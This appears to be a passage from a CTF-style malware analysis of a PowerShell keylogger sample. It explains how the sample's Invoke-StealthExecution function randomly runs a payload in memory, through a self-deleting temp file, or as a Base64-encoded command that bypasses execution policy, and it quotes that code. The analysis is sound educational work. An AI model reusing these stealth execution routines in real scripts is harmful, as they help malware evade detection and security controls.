VIPKeyLogger - ENCRYPTED.ps1

Question 2: What is the content of tempFile?

This question is very simple now that the content of CipherText is known. Looking at the Invoke-StealthExecution function, which is where tempFile is created and executed, the argument allowed is only one:

1
function Invoke-StealthExecution {
2
    param([string]$ScriptPayload)

The parameter is used in the return statement, in a bit of a convoluted way:

1
$rotationSeed = (Get-Date).Millisecond % $ExecutionVectors.Count
2
$selectedVector = $ExecutionVectors[$rotationSeed]
3

4
return & $selectedVector $ScriptPayload

Line by line, rotationSeed is a number taken by doing the modulo (%) of the current date in milliseconds by the number of elements in ExecutionVectors (more on this variable just below). This number will be any number between 0 and the length of ExecutionVectors minus 1, and it is going to be used in the line below as index to access an element of the array. This element is a scriptblock, since ExecutionVectors is a “scriptblock” array 4, which means that the value of selectedVector is a command, which in fact gets executed at the return line with argument ScriptPayload.

So to rephrase it, selectedVector behaves like a function that gets executed with ScriptPayload as argument, and ScriptPayload is known to be a PowerShell script.

Each entry in ExecutionVectors is a different way to execute ScriptPayload. At index 0, there is simply a scriptblock created and executed, at index 1 a temporary file that is written with the content of s (ScriptPayload) and then deleted, and lastly a Base64 encoded string that gets executed directly via a powershell command.

1
$ExecutionVectors = @(
2
    { param($s)
3
        $scriptBlock = [scriptblock]::Create($s)
4
        & $scriptBlock
5
    },
6
    { param($s)
7
        $tempFile = [System.IO.Path]::GetTempFileName() + ".ps1"
8
        [System.IO.File]::WriteAllText($tempFile, $s)
9
        & $tempFile
10
        Remove-Item $tempFile -Force
11
    },
12
    { param($s)
13
        $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($s))
14
        powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy Bypass
15
    }
16
)